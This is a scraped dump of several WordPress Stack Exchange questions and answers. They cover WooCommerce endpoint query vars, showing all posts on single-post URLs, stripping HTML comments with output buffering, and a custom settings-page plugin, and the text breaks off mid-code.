[ { "answer_id": 306721, "author": "Guhéry Rocourt", "author_id": 145725, "author_profile": "https://wordpress.stackexchange.com/users/145725", "pm_score": 3, "selected": true, "text": "<p>I hope it's not too late, but anyway, I know it will help someone else.</p>\n\n<p><code>echo get_query_var('your-endpoint');</code></p>\n\n<p>So, for your code, it will be: </p>\n\n<p><code>echo get_query_var('view-subscription');</code></p>\n" }, { "answer_id": 351757, "author": "Ankur Modi", "author_id": 177744, "author_profile": "https://wordpress.stackexchange.com/users/177744", "pm_score": 1, "selected": false, "text": "<p>Please use this, it will help me according same as view-order link.</p>\n\n<p><a href=\"https://wp-kama.ru/function/wc_get_endpoint_url\" rel=\"nofollow noreferrer\"><code>wc_get_endpoint_url()</code></a></p>\n\n<p>eg.</p>\n\n<p><code>myaccount/view-order/21313</code> - Displays details of order <code>#21313</code><br>\n<code>myaccount/view-coupon/123</code> - Display details of coupon <code>#123</code></p>\n" } ]
2018/01/24
[ "https://wordpress.stackexchange.com/questions/292075", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/135481/" ]
I'm trying to redirect customers, who are not logged in, when they push the "proceed to checkout button" on my cart page but nothing happens. Here's my code: ``` function custom_redirect_checkout(){ if ( !is_user_logged_in() ){ wp_redirect( 'https://www.domain.co/login/', 301 ); exit; } } add_filter( 'woocommerce_proceed_to_checkout', 'custom_redirect_checkout' ); ```
I hope it's not too late, but anyway, I know it will help someone else. `echo get_query_var('your-endpoint');` So, for your code, it will be: `echo get_query_var('view-subscription');`
292,090
<p>I'm attempting to design a theme for which all posts are always visible in a grid layout, using <code>index.php</code> as my single template. Even accessing a URL matching a single post would display all posts, only with the one matching the URL being highlighted in some way.</p> <p>This works like a charm on the homepage (<code>http://example.com/</code>), but if I try to access a post (<code>http://example.com/mycategory/mypostname</code>) it shows nothing.</p> <p>I've tried setting up a pre_get_posts hook like so:</p> <pre><code>function preGetPosts( $query ) { if ( is_admin() || ! $query-&gt;is_main_query() ) return; $query-&gt;set( 'posts_per_page', -1 ); $query-&gt;set( 'name', "" ); $query-&gt;set( 'category_name', "" ); return; } add_action( 'pre_get_posts', 'preGetPosts' ); </code></pre> <p>But then my page displays no post at all. I've tried figuring it out by showing the SQL request in my template:</p> <pre><code>&lt;?php echo $GLOBALS['wp_query']-&gt;request; ?&gt; </code></pre> <p>...and the resulting SQL request is fine:</p> <pre><code>SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'post' ORDER BY wp_posts.post_date DESC </code></pre> <p>Even trying out the request in phpMyAdmin yields the correct list of all posts. I'm at a loss trying to understand what's preventing the loop from displaying these results.</p> <p>Even the code that's hooked up to the <code>loop_start</code> action seems to be skipped entirely. Any ideas?</p> <p>Thanks!</p> <p><strong>EDIT:</strong> if I dump <code>$GLOBALS['wp_query']</code> in my template just before the loop, I see:</p> <pre><code>["post_count"] =&gt; int(0) ["found_posts"] =&gt; int(23) </code></pre> <p>There are indeed 23 posts that should be displayed... what's the difference between found posts and the post count?</p> <p><strong>EDIT:</strong> The full query dump:</p> <pre><code>object(WP_Query)#390 (48) { ["query"]=&gt; array(3) { ["page"]=&gt; string(0) "" ["name"]=&gt; string(4) "sos3" ["category_name"]=&gt; string(8) "mixtapes" } ["query_vars"]=&gt; array(65) { ["page"]=&gt; int(0) ["name"]=&gt; string(0) "" ["category_name"]=&gt; string(0) "" ["error"]=&gt; string(0) "" ["m"]=&gt; string(0) "" ["p"]=&gt; int(0) ["post_parent"]=&gt; string(0) "" ["subpost"]=&gt; string(0) "" ["subpost_id"]=&gt; string(0) "" ["attachment"]=&gt; string(0) "" ["attachment_id"]=&gt; int(0) ["static"]=&gt; string(0) "" ["pagename"]=&gt; string(0) "" ["page_id"]=&gt; int(0) ["second"]=&gt; string(0) "" ["minute"]=&gt; string(0) "" ["hour"]=&gt; string(0) "" ["day"]=&gt; int(0) ["monthnum"]=&gt; int(0) ["year"]=&gt; int(0) ["w"]=&gt; int(0) ["tag"]=&gt; string(0) "" ["cat"]=&gt; string(0) "" ["tag_id"]=&gt; string(0) "" ["author"]=&gt; string(0) "" ["author_name"]=&gt; string(0) "" ["feed"]=&gt; string(0) "" ["tb"]=&gt; string(0) "" ["paged"]=&gt; int(0) ["meta_key"]=&gt; string(0) "" ["meta_value"]=&gt; string(0) "" ["preview"]=&gt; string(0) "" ["s"]=&gt; string(0) "" ["sentence"]=&gt; string(0) "" ["title"]=&gt; string(0) "" ["fields"]=&gt; string(0) "" ["menu_order"]=&gt; string(0) "" ["embed"]=&gt; string(0) "" ["category__in"]=&gt; array(0) { } ["category__not_in"]=&gt; array(0) { } ["category__and"]=&gt; array(0) { } ["post__in"]=&gt; array(0) { } ["post__not_in"]=&gt; array(0) { } ["post_name__in"]=&gt; array(0) { } ["tag__in"]=&gt; array(0) { } ["tag__not_in"]=&gt; array(0) { } ["tag__and"]=&gt; array(0) { } ["tag_slug__in"]=&gt; array(0) { } ["tag_slug__and"]=&gt; array(0) { } ["post_parent__in"]=&gt; array(0) { } ["post_parent__not_in"]=&gt; array(0) { } ["author__in"]=&gt; array(0) { } ["author__not_in"]=&gt; array(0) { } ["posts_per_page"]=&gt; int(-1) ["ignore_sticky_posts"]=&gt; bool(false) ["suppress_filters"]=&gt; bool(false) ["cache_results"]=&gt; bool(true) ["update_post_term_cache"]=&gt; bool(true) ["lazy_load_term_meta"]=&gt; bool(true) ["update_post_meta_cache"]=&gt; bool(true) ["post_type"]=&gt; string(0) "" ["nopaging"]=&gt; bool(true) ["comments_per_page"]=&gt; string(2) "50" ["no_found_rows"]=&gt; bool(false) ["order"]=&gt; string(4) "DESC" } ["tax_query"]=&gt; NULL ["meta_query"]=&gt; object(WP_Meta_Query)#629 (9) { ["queries"]=&gt; array(0) { } ["relation"]=&gt; NULL ["meta_table"]=&gt; NULL ["meta_id_column"]=&gt; NULL ["primary_table"]=&gt; NULL ["primary_id_column"]=&gt; NULL ["table_aliases":protected]=&gt; array(0) { } ["clauses":protected]=&gt; array(0) { } ["has_or_relation":protected]=&gt; bool(false) } ["date_query"]=&gt; bool(false) ["request"]=&gt; string(112) "SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'post' ORDER BY wp_posts.post_date DESC " ["posts"]=&gt; &amp;array(0) { } ["post_count"]=&gt; int(0) ["current_post"]=&gt; int(-1) ["in_the_loop"]=&gt; bool(false) ["comment_count"]=&gt; int(0) ["current_comment"]=&gt; int(-1) ["found_posts"]=&gt; int(23) ["max_num_pages"]=&gt; int(0) ["max_num_comment_pages"]=&gt; int(0) ["is_single"]=&gt; bool(false) ["is_preview"]=&gt; bool(false) ["is_page"]=&gt; bool(false) ["is_archive"]=&gt; bool(false) ["is_date"]=&gt; bool(false) ["is_year"]=&gt; bool(false) ["is_month"]=&gt; bool(false) ["is_day"]=&gt; bool(false) ["is_time"]=&gt; bool(false) ["is_author"]=&gt; bool(false) ["is_category"]=&gt; bool(false) ["is_tag"]=&gt; bool(false) ["is_tax"]=&gt; bool(false) ["is_search"]=&gt; bool(false) ["is_feed"]=&gt; bool(false) ["is_comment_feed"]=&gt; bool(false) ["is_trackback"]=&gt; bool(false) ["is_home"]=&gt; bool(false) ["is_404"]=&gt; bool(true) ["is_embed"]=&gt; bool(false) ["is_paged"]=&gt; bool(false) ["is_admin"]=&gt; bool(false) ["is_attachment"]=&gt; bool(false) ["is_singular"]=&gt; bool(false) ["is_robots"]=&gt; bool(false) ["is_posts_page"]=&gt; bool(false) ["is_post_type_archive"]=&gt; bool(false) ["query_vars_hash":"WP_Query":private]=&gt; string(32) "8932b0e7ba16b7a363737e0bb1065296" ["query_vars_changed":"WP_Query":private]=&gt; bool(true) ["thumbnails_cached"]=&gt; bool(false) ["stopwords":"WP_Query":private]=&gt; NULL ["compat_fields":"WP_Query":private]=&gt; array(2) { [0]=&gt; string(15) "query_vars_hash" [1]=&gt; string(18) "query_vars_changed" } ["compat_methods":"WP_Query":private]=&gt; array(2) { [0]=&gt; string(16) "init_query_flags" [1]=&gt; string(15) "parse_tax_query" } } </code></pre>
[ { "answer_id": 292120, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 0, "selected": false, "text": "<p>Testing with a standard install and twentysixteen, the problem lies within WP::parse_request. With your <code>pre_get_posts</code> action in place, simply removing that completely from the equation worked for me:</p>\n\n<pre><code>add_filter(\"do_parse_request\", function ($original_value, $query, $extra_vars) {\n $query-&gt;query_vars = array();\n return false;\n}, 10, 3);\n</code></pre>\n\n<p>Setting $query->query_vars to an empty array is necessary because WP expects it and you'll get warnings otherwise.</p>\n\n<p>You'll probably want to thoroughly test it to make sure it behaves as you require it to, but at a quick glance, it looked fine in my installation.</p>\n" }, { "answer_id": 292173, "author": "Themushroomsound", "author_id": 135491, "author_profile": "https://wordpress.stackexchange.com/users/135491", "pm_score": 1, "selected": false, "text": "<p>I ended up using the request filter, just like in the <a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/request\" rel=\"nofollow noreferrer\">documentation</a>:</p>\n\n<pre><code>function filterRequest( $request ) {\n global $single_post_slug;\n\n $dummy_query = new WP_Query(); // the query isn't run if we don't pass any query vars\n $dummy_query-&gt;parse_query( $request );\n\n if( $dummy_query-&gt;is_single() &amp;&amp; !$dummy_query-&gt;is_admin() )\n {\n $single_post_slug = $request['name'];\n $request['name'] = \"\";\n $request['category_name'] = \"\";\n }\n\n return $request;\n}\nadd_filter( 'request', 'filterRequest' );\n</code></pre>\n\n<p>It might not be the cleanest way, but I get to store the original query's slug to use it later. And I can avoid effecting the admin. I'm afraid this might effect secondary queries though, so I'm expecting trouble down the line :\\</p>\n" } ]
2018/01/24
[ "https://wordpress.stackexchange.com/questions/292090", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/135491/" ]
I'm attempting to design a theme for which all posts are always visible in a grid layout, using `index.php` as my single template. Even accessing a URL matching a single post would display all posts, only with the one matching the URL being highlighted in some way. This works like a charm on the homepage (`http://example.com/`), but if I try to access a post (`http://example.com/mycategory/mypostname`) it shows nothing. I've tried setting up a pre\_get\_posts hook like so: ``` function preGetPosts( $query ) { if ( is_admin() || ! $query->is_main_query() ) return; $query->set( 'posts_per_page', -1 ); $query->set( 'name', "" ); $query->set( 'category_name', "" ); return; } add_action( 'pre_get_posts', 'preGetPosts' ); ``` But then my page displays no post at all. I've tried figuring it out by showing the SQL request in my template: ``` <?php echo $GLOBALS['wp_query']->request; ?> ``` ...and the resulting SQL request is fine: ``` SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'post' ORDER BY wp_posts.post_date DESC ``` Even trying out the request in phpMyAdmin yields the correct list of all posts. I'm at a loss trying to understand what's preventing the loop from displaying these results. Even the code that's hooked up to the `loop_start` action seems to be skipped entirely. Any ideas? Thanks! **EDIT:** if I dump `$GLOBALS['wp_query']` in my template just before the loop, I see: ``` ["post_count"] => int(0) ["found_posts"] => int(23) ``` There are indeed 23 posts that should be displayed... what's the difference between found posts and the post count? **EDIT:** The full query dump: ``` object(WP_Query)#390 (48) { ["query"]=> array(3) { ["page"]=> string(0) "" ["name"]=> string(4) "sos3" ["category_name"]=> string(8) "mixtapes" } ["query_vars"]=> array(65) { ["page"]=> int(0) ["name"]=> string(0) "" ["category_name"]=> string(0) "" ["error"]=> string(0) "" ["m"]=> string(0) "" ["p"]=> int(0) ["post_parent"]=> string(0) "" ["subpost"]=> string(0) "" ["subpost_id"]=> string(0) "" ["attachment"]=> string(0) "" ["attachment_id"]=> int(0) ["static"]=> string(0) "" ["pagename"]=> string(0) "" ["page_id"]=> int(0) ["second"]=> string(0) "" ["minute"]=> string(0) "" ["hour"]=> string(0) "" ["day"]=> int(0) ["monthnum"]=> int(0) ["year"]=> int(0) ["w"]=> int(0) ["tag"]=> string(0) "" ["cat"]=> string(0) "" ["tag_id"]=> string(0) "" ["author"]=> string(0) "" ["author_name"]=> string(0) "" ["feed"]=> string(0) "" ["tb"]=> string(0) "" ["paged"]=> int(0) ["meta_key"]=> string(0) "" ["meta_value"]=> string(0) "" ["preview"]=> string(0) "" ["s"]=> string(0) "" ["sentence"]=> string(0) "" ["title"]=> string(0) "" ["fields"]=> string(0) "" ["menu_order"]=> string(0) "" ["embed"]=> string(0) "" ["category__in"]=> array(0) { } ["category__not_in"]=> array(0) { } ["category__and"]=> array(0) { } ["post__in"]=> array(0) { } ["post__not_in"]=> array(0) { } ["post_name__in"]=> array(0) { } ["tag__in"]=> array(0) { } ["tag__not_in"]=> array(0) { } ["tag__and"]=> array(0) { } ["tag_slug__in"]=> array(0) { } ["tag_slug__and"]=> array(0) { } ["post_parent__in"]=> array(0) { } ["post_parent__not_in"]=> array(0) { } ["author__in"]=> array(0) { } ["author__not_in"]=> array(0) { } ["posts_per_page"]=> int(-1) ["ignore_sticky_posts"]=> bool(false) ["suppress_filters"]=> bool(false) ["cache_results"]=> bool(true) ["update_post_term_cache"]=> bool(true) ["lazy_load_term_meta"]=> bool(true) ["update_post_meta_cache"]=> bool(true) ["post_type"]=> string(0) "" ["nopaging"]=> bool(true) ["comments_per_page"]=> string(2) "50" ["no_found_rows"]=> bool(false) ["order"]=> string(4) "DESC" } ["tax_query"]=> NULL ["meta_query"]=> object(WP_Meta_Query)#629 (9) { ["queries"]=> array(0) { } ["relation"]=> NULL ["meta_table"]=> NULL ["meta_id_column"]=> NULL ["primary_table"]=> NULL ["primary_id_column"]=> NULL ["table_aliases":protected]=> array(0) { } ["clauses":protected]=> array(0) { } ["has_or_relation":protected]=> bool(false) } ["date_query"]=> bool(false) ["request"]=> string(112) "SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'post' ORDER BY wp_posts.post_date DESC " ["posts"]=> &array(0) { } ["post_count"]=> int(0) ["current_post"]=> int(-1) ["in_the_loop"]=> bool(false) ["comment_count"]=> int(0) ["current_comment"]=> int(-1) ["found_posts"]=> int(23) ["max_num_pages"]=> int(0) ["max_num_comment_pages"]=> int(0) ["is_single"]=> bool(false) ["is_preview"]=> bool(false) ["is_page"]=> bool(false) ["is_archive"]=> bool(false) ["is_date"]=> bool(false) ["is_year"]=> bool(false) ["is_month"]=> bool(false) ["is_day"]=> bool(false) ["is_time"]=> bool(false) ["is_author"]=> bool(false) ["is_category"]=> bool(false) ["is_tag"]=> bool(false) ["is_tax"]=> bool(false) ["is_search"]=> bool(false) ["is_feed"]=> bool(false) ["is_comment_feed"]=> bool(false) ["is_trackback"]=> bool(false) ["is_home"]=> bool(false) ["is_404"]=> bool(true) ["is_embed"]=> bool(false) ["is_paged"]=> bool(false) ["is_admin"]=> bool(false) ["is_attachment"]=> bool(false) ["is_singular"]=> bool(false) ["is_robots"]=> bool(false) ["is_posts_page"]=> bool(false) ["is_post_type_archive"]=> bool(false) ["query_vars_hash":"WP_Query":private]=> string(32) "8932b0e7ba16b7a363737e0bb1065296" ["query_vars_changed":"WP_Query":private]=> bool(true) ["thumbnails_cached"]=> bool(false) ["stopwords":"WP_Query":private]=> NULL ["compat_fields":"WP_Query":private]=> array(2) { [0]=> string(15) "query_vars_hash" [1]=> string(18) "query_vars_changed" } ["compat_methods":"WP_Query":private]=> array(2) { [0]=> string(16) "init_query_flags" [1]=> string(15) "parse_tax_query" } } ```
I ended up using the request filter, just like in the [documentation](https://codex.wordpress.org/Plugin_API/Filter_Reference/request): ``` function filterRequest( $request ) { global $single_post_slug; $dummy_query = new WP_Query(); // the query isn't run if we don't pass any query vars $dummy_query->parse_query( $request ); if( $dummy_query->is_single() && !$dummy_query->is_admin() ) { $single_post_slug = $request['name']; $request['name'] = ""; $request['category_name'] = ""; } return $request; } add_filter( 'request', 'filterRequest' ); ``` It might not be the cleanest way, but I get to store the original query's slug to use it later. And I can avoid effecting the admin. I'm afraid this might effect secondary queries though, so I'm expecting trouble down the line :\
292,095
<p>Is any easy method to remove all html comment like <code>&lt;!-- wp_head()--&gt;</code> from source from every pages and posts? Maybe using functions.php? Is any easy method without plugin?</p>
[ { "answer_id": 292100, "author": "Nathan Johnson", "author_id": 106269, "author_profile": "https://wordpress.stackexchange.com/users/106269", "pm_score": 2, "selected": false, "text": "<p>Here's a quick way to remove all comments using output buffering and <a href=\"https://secure.php.net/manual/en/function.preg-replace.php\" rel=\"nofollow noreferrer\"><code>preg_replace</code></a>. We hook in before WordPress starts outputting the HTML to start the buffer. Then we hook in after WordPress stops outputting the HTML to get the buffer and strip the HTML comment tags from the content.</p>\n\n<p>This code would ideally be in it's own plugin. But it could be in your functions.php if you're really adverse to adding more plugins.</p>\n\n<pre><code>namespace StackExchange\\WordPress;\n\n//* Start output buffering\nfunction startOutputBuffer() {\n ob_start();\n}\n\n//* Print the output buffer\nfunction stopOutputBuffer() {\n $html = ob_get_clean();\n echo strip_html_comments( $html );\n}\n\n//* See note for attribution of this code\nfunction strip_html_comments( string $html ) : string {\n return preg_replace('/&lt;!--(.*)--&gt;/Uis', '', $html);\n}\n\n//* Add action before WordPress starts outputting content to start buffer\nadd_action( 'wp', __NAMESPACE__ . '\\startOutputBuffer' );\n\n//* Add action after WordPress stops outputting content to stop buffer\nadd_action( 'shutdown', __NAMESPACE__ . '\\stopOutputBuffer' );\n</code></pre>\n\n<p>Note: Regex from this StackOverflow answer by <a href=\"https://stackoverflow.com/a/3235781/6077935\">Benoit Villière</a>.</p>\n" }, { "answer_id": 356159, "author": "Purvik Dhorajiya", "author_id": 92960, "author_profile": "https://wordpress.stackexchange.com/users/92960", "pm_score": 1, "selected": false, "text": "<p>The following WordPress actions are able to filter your code from all HTML comments. Place the PHP code into your <code>functions.php</code> file inside the WordPress theme directory.</p>\n\n<pre><code>function callback($buffer) {\n $buffer = preg_replace('/&lt;!--(.|s)*?--&gt;/', '', $buffer);\n return $buffer;\n}\nfunction buffer_start() {\n ob_start(\"callback\");\n}\nfunction buffer_end() {\n ob_end_flush();\n}\nadd_action('get_header', 'buffer_start');\nadd_action('wp_footer', 'buffer_end');\n</code></pre>\n" } ]
2018/01/24
[ "https://wordpress.stackexchange.com/questions/292095", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/133900/" ]
Is any easy method to remove all html comment like `<!-- wp_head()-->` from source from every pages and posts? Maybe using functions.php? Is any easy method without plugin?
Here's a quick way to remove all comments using output buffering and [`preg_replace`](https://secure.php.net/manual/en/function.preg-replace.php). We hook in before WordPress starts outputting the HTML to start the buffer. Then we hook in after WordPress stops outputting the HTML to get the buffer and strip the HTML comment tags from the content. This code would ideally be in it's own plugin. But it could be in your functions.php if you're really adverse to adding more plugins. ``` namespace StackExchange\WordPress; //* Start output buffering function startOutputBuffer() { ob_start(); } //* Print the output buffer function stopOutputBuffer() { $html = ob_get_clean(); echo strip_html_comments( $html ); } //* See note for attribution of this code function strip_html_comments( string $html ) : string { return preg_replace('/<!--(.*)-->/Uis', '', $html); } //* Add action before WordPress starts outputting content to start buffer add_action( 'wp', __NAMESPACE__ . '\startOutputBuffer' ); //* Add action after WordPress stops outputting content to stop buffer add_action( 'shutdown', __NAMESPACE__ . '\stopOutputBuffer' ); ``` Note: Regex from this StackOverflow answer by [Benoit Villière](https://stackoverflow.com/a/3235781/6077935).
292,105
<p>I have a custom plugin, that creates an admin settings page, with 3 fields:</p> <p>postIDs, pageIDs and Message.</p> <p>I am trying to grab the first post displayed on the homepage list and add the contents of the field "message" to the beginning of the content. I'm doing this within a plugin, and I can't work out how to hook into the homepage posts list, get the first post there, and add the "Message" before the content then return it back.</p> <p>I figured it was something to do with pre_get_posts hook - but I just can't work out the correct way to do it.</p> <p>Here's the full PHP of the plugin, it all works, I just can't now work out the correct way to get the first post content :(</p> <pre><code>&lt;?php /* Plugin Name: Custom HTML Description: Custom HTML in Pages Version: 1.0.0 */ class Codeable_Fields_Plugin { public function __construct() { // Hook into the admin menu add_action( 'admin_menu', array( $this, 'create_plugin_settings_page' ) ); // Add Settings and Fields add_action( 'admin_init', array( $this, 'setup_sections' ) ); add_action( 'admin_init', array( $this, 'setup_fields' ) ); } public function create_plugin_settings_page() { // Add the menu item and page $page_title = 'Custom HTML'; $menu_title = 'Custom HTML'; $capability = 'manage_options'; $slug = 'codeable_fields'; $callback = array( $this, 'plugin_settings_page_content' ); $position = 100; add_menu_page( $page_title, $menu_title, $capability, $slug, $callback, $icon, $position ); } public function plugin_settings_page_content() {?&gt; &lt;div class="wrap"&gt; &lt;?php if ( isset( $_GET['settings-updated'] ) &amp;&amp; $_GET['settings-updated'] ){ $this-&gt;admin_notice(); } ?&gt; &lt;form method="POST" action="options.php"&gt; &lt;?php settings_fields( 'codeable_fields' ); do_settings_sections( 'codeable_fields' ); submit_button(); ?&gt; &lt;/form&gt; &lt;/div&gt; &lt;?php } public function admin_notice() { ?&gt; &lt;div class="notice notice-success is-dismissible"&gt; &lt;p&gt;Your settings have been updated!&lt;/p&gt; &lt;/div&gt;&lt;?php } public function setup_sections() { add_settings_section( 'our_first_section', 'Custom HTML', array( $this, 'section_callback' ), 'codeable_fields' ); } public function section_callback( $arguments ) { switch( $arguments['id'] ){ case 'our_first_section': echo ''; break; } } public function setup_fields() { $fields = array( array( 'uid' =&gt; 'codeable_pages_field', 'label' =&gt; 'Page IDs to Exclude', 'section' =&gt; 'our_first_section', 'type' =&gt; 'text', 'supplimental' =&gt; 'Seperate by comma', ), array( 'uid' =&gt; 'codeable_posts_field', 'label' =&gt; 'Post IDs to Exclude', 'section' =&gt; 'our_first_section', 'type' =&gt; 'text', 'supplimental' =&gt; 'Seperate by comma', ), array( 'uid' =&gt; 'codeable_textarea', 'label' =&gt; 'Enter Text here', 'section' =&gt; 'our_first_section', 'type' =&gt; 'textarea', ) ); foreach( $fields as $field ){ add_settings_field( $field['uid'], $field['label'], array( $this, 'field_callback' ), 'codeable_fields', $field['section'], $field ); register_setting( 'codeable_fields', $field['uid'] ); } } public function field_callback( $arguments ) { $value = get_option( $arguments['uid'] ); if( ! $value ) { $value = $arguments['default']; } switch( $arguments['type'] ){ case 'text': case 'password': case 'number': printf( '&lt;input name="%1$s" id="%1$s" type="%2$s" placeholder="%3$s" value="%4$s" /&gt;', $arguments['uid'], $arguments['type'], $arguments['placeholder'], $value ); break; case 'textarea': printf( '&lt;textarea name="%1$s" id="%1$s" placeholder="%2$s" rows="5" cols="50"&gt;%3$s&lt;/textarea&gt;', $arguments['uid'], $arguments['placeholder'], $value ); break; case 'select': case 'multiselect': if( ! empty ( $arguments['options'] ) &amp;&amp; is_array( $arguments['options'] ) ){ $attributes = ''; $options_markup = ''; foreach( $arguments['options'] as $key =&gt; $label ){ $options_markup .= sprintf( '&lt;option value="%s" %s&gt;%s&lt;/option&gt;', $key, selected( $value[ array_search( $key, $value, true ) ], $key, false ), $label ); } if( $arguments['type'] === 'multiselect' ){ $attributes = ' multiple="multiple" '; } printf( '&lt;select name="%1$s[]" id="%1$s" %2$s&gt;%3$s&lt;/select&gt;', $arguments['uid'], $attributes, $options_markup ); } break; case 'radio': case 'checkbox': if( ! empty ( $arguments['options'] ) &amp;&amp; is_array( $arguments['options'] ) ){ $options_markup = ''; $iterator = 0; foreach( $arguments['options'] as $key =&gt; $label ){ $iterator++; $options_markup .= sprintf( '&lt;label for="%1$s_%6$s"&gt;&lt;input id="%1$s_%6$s" name="%1$s[]" type="%2$s" value="%3$s" %4$s /&gt; %5$s&lt;/label&gt;&lt;br/&gt;', $arguments['uid'], $arguments['type'], $key, checked( $value[ array_search( $key, $value, true ) ], $key, false ), $label, $iterator ); } printf( '&lt;fieldset&gt;%s&lt;/fieldset&gt;', $options_markup ); } break; } if( $helper = $arguments['helper'] ){ printf( '&lt;span class="helper"&gt; %s&lt;/span&gt;', $helper ); } if( $supplimental = $arguments['supplimental'] ){ printf( '&lt;p class="description"&gt;%s&lt;/p&gt;', $supplimental ); } } } } new Codeable_Fields_Plugin(); add_action ('the_content', 'add_to_header'); function add_to_header(){ $postids = preg_split("/\s*,\s*/", get_option('codeable_posts_field')); $pageids = preg_split("/\s*,\s*/", get_option('codeable_pages_field')); if (is_single($postids )) { $fullcontent = $content; } elseif (is_page($pageids)) { $fullcontent = $content; } elseif (is_single() || is_page()) { $beforecontent = get_option('codeable_textarea'); $fullcontent = $beforecontent . $content; } return $fullcontent; } </code></pre> <p>Any help would be gratefully received!!</p>
[ { "answer_id": 292099, "author": "Milo", "author_id": 4771, "author_profile": "https://wordpress.stackexchange.com/users/4771", "pm_score": 1, "selected": false, "text": "<p>The <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/template_redirect\" rel=\"nofollow noreferrer\"><code>template_redirect</code> action</a> could be appropriate for this.</p>\n\n<blockquote>\n <p>This action hook executes just before WordPress determines which template page to load. It is a good hook to use if you need to do a redirect with full knowledge of the content that has been queried.</p>\n</blockquote>\n\n<p>You can see where this occurs in the request process in the <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference#Actions_Run_During_a_Typical_Request\" rel=\"nofollow noreferrer\">Action Reference</a>.</p>\n" }, { "answer_id": 292101, "author": "Milan Petrovic", "author_id": 126702, "author_profile": "https://wordpress.stackexchange.com/users/126702", "pm_score": 3, "selected": true, "text": "<p>The earliest action you can use is 'wp'. You can read more about it here: <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/wp\" rel=\"nofollow noreferrer\">Action WP</a>.</p>\n" } ]
2018/01/24
[ "https://wordpress.stackexchange.com/questions/292105", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/111198/" ]
I have a custom plugin, that creates an admin settings page, with 3 fields: postIDs, pageIDs and Message. I am trying to grab the first post displayed on the homepage list and add the contents of the field "message" to the beginning of the content. I'm doing this within a plugin, and I can't work out how to hook into the homepage posts list, get the first post there, and add the "Message" before the content then return it back. I figured it was something to do with pre\_get\_posts hook - but I just can't work out the correct way to do it. Here's the full PHP of the plugin, it all works, I just can't now work out the correct way to get the first post content :( ``` <?php /* Plugin Name: Custom HTML Description: Custom HTML in Pages Version: 1.0.0 */ class Codeable_Fields_Plugin { public function __construct() { // Hook into the admin menu add_action( 'admin_menu', array( $this, 'create_plugin_settings_page' ) ); // Add Settings and Fields add_action( 'admin_init', array( $this, 'setup_sections' ) ); add_action( 'admin_init', array( $this, 'setup_fields' ) ); } public function create_plugin_settings_page() { // Add the menu item and page $page_title = 'Custom HTML'; $menu_title = 'Custom HTML'; $capability = 'manage_options'; $slug = 'codeable_fields'; $callback = array( $this, 'plugin_settings_page_content' ); $position = 100; add_menu_page( $page_title, $menu_title, $capability, $slug, $callback, $icon, $position ); } public function plugin_settings_page_content() {?> <div class="wrap"> <?php if ( isset( $_GET['settings-updated'] ) && $_GET['settings-updated'] ){ $this->admin_notice(); } ?> <form method="POST" action="options.php"> <?php settings_fields( 'codeable_fields' ); do_settings_sections( 'codeable_fields' ); submit_button(); ?> </form> </div> <?php } public function admin_notice() { ?> <div class="notice notice-success is-dismissible"> <p>Your settings have been updated!</p> </div><?php } public function setup_sections() { add_settings_section( 'our_first_section', 'Custom HTML', array( $this, 'section_callback' ), 'codeable_fields' ); } public function section_callback( $arguments ) { switch( $arguments['id'] ){ case 'our_first_section': echo ''; break; } } public function setup_fields() { $fields = array( array( 'uid' => 'codeable_pages_field', 'label' => 'Page IDs to Exclude', 'section' => 'our_first_section', 'type' => 'text', 'supplimental' => 'Seperate by comma', ), array( 'uid' => 'codeable_posts_field', 'label' => 'Post IDs to Exclude', 'section' => 'our_first_section', 'type' => 'text', 'supplimental' => 'Seperate by comma', ), array( 'uid' => 'codeable_textarea', 'label' => 'Enter Text here', 'section' => 'our_first_section', 'type' => 'textarea', ) ); foreach( $fields as $field ){ add_settings_field( $field['uid'], $field['label'], array( $this, 'field_callback' ), 'codeable_fields', $field['section'], $field ); register_setting( 'codeable_fields', $field['uid'] ); } } public function field_callback( $arguments ) { $value = get_option( $arguments['uid'] ); if( ! $value ) { $value = $arguments['default']; } switch( $arguments['type'] ){ case 'text': case 'password': case 'number': printf( '<input name="%1$s" id="%1$s" type="%2$s" placeholder="%3$s" value="%4$s" />', $arguments['uid'], $arguments['type'], $arguments['placeholder'], $value ); break; case 'textarea': printf( '<textarea name="%1$s" id="%1$s" placeholder="%2$s" rows="5" cols="50">%3$s</textarea>', $arguments['uid'], $arguments['placeholder'], $value ); break; case 'select': case 'multiselect': if( ! empty ( $arguments['options'] ) && is_array( $arguments['options'] ) ){ $attributes = ''; $options_markup = ''; foreach( $arguments['options'] as $key => $label ){ $options_markup .= sprintf( '<option value="%s" %s>%s</option>', $key, selected( $value[ array_search( $key, $value, true ) ], $key, false ), $label ); } if( $arguments['type'] === 'multiselect' ){ $attributes = ' multiple="multiple" '; } printf( '<select name="%1$s[]" id="%1$s" %2$s>%3$s</select>', $arguments['uid'], $attributes, $options_markup ); } break; case 'radio': case 'checkbox': if( ! empty ( $arguments['options'] ) && is_array( $arguments['options'] ) ){ $options_markup = ''; $iterator = 0; foreach( $arguments['options'] as $key => $label ){ $iterator++; $options_markup .= sprintf( '<label for="%1$s_%6$s"><input id="%1$s_%6$s" name="%1$s[]" type="%2$s" value="%3$s" %4$s /> %5$s</label><br/>', $arguments['uid'], $arguments['type'], $key, checked( $value[ array_search( $key, $value, true ) ], $key, false ), $label, $iterator ); } printf( '<fieldset>%s</fieldset>', $options_markup ); } break; } if( $helper = $arguments['helper'] ){ printf( '<span class="helper"> %s</span>', $helper ); } if( $supplimental = $arguments['supplimental'] ){ printf( '<p class="description">%s</p>', $supplimental ); } } } } new Codeable_Fields_Plugin(); add_action ('the_content', 'add_to_header'); function add_to_header(){ $postids = preg_split("/\s*,\s*/", get_option('codeable_posts_field')); $pageids = preg_split("/\s*,\s*/", get_option('codeable_pages_field')); if (is_single($postids )) { $fullcontent = $content; 